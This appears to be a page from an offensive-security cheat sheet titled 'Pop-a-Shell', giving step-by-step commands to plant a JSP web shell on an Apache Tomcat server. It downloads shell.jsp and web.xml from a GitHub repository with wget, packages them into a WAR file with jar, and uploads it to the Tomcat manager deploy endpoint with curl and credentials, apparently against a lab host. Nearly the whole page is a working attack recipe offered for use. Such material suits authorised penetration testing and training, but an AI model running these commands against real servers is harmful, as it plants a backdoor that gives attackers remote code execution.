.. / war-jsp_web_shell

Star

• Pop-a-Shell

Pop-a-Shell

It can help gain a bind or reverse connection to spawn an (psuedo-)interactive prompt for code execution.

• WAR and jsp web shell

  
  (1) File Structure:
    ── shell.jsp
    ── WEB-INF
        ── web.xml
  (2) jar -cf shell.war *
  (3) curl --upload-file shell.war http://10.10.10.194:8080/manager/text/deploy?path=/{context}&update=true -u {username}
  (4) https://{address}/{context}
  
  mkdir WAR
  cd WAR 
  wget https://raw.githubusercontent.com/MidnightSeer/scripts/master/shell.jsp
  mkdir WEB-INF
  wget https://raw.githubusercontent.com/MidnightSeer/scripts/master/web.xml -O WEB-INF/web.xml
  jar -cf shell.war *
  
  

Resources

https://raw.githubusercontent.com/MidnightSeer/scripts/master/shell.jsp
https://raw.githubusercontent.com/MidnightSeer/scripts/master/web.xml